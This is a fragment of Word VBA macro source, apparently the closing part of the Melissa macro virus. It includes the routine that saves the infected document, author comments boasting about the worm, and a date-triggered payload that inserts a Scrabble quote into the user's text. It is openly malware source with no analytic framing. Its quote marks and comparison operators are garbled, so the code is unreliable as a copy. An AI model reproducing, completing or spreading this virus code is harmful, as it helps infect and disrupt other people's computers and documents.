BGN = BGN + 1
Loop
End If
CYA:
If NTCL 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, “Document”) = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, “Document”) False) Then
ActiveDocument.Saved = True: End If
‘WORD/Melissa written by Kwyjibo
‘Clone written by Duke/SMF
‘Works in both Word 2000 and Word 97
‘Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 Word 2000 … it’s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText “Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game’s over. I’m outta here.”
End Sub

——————————————————————————————–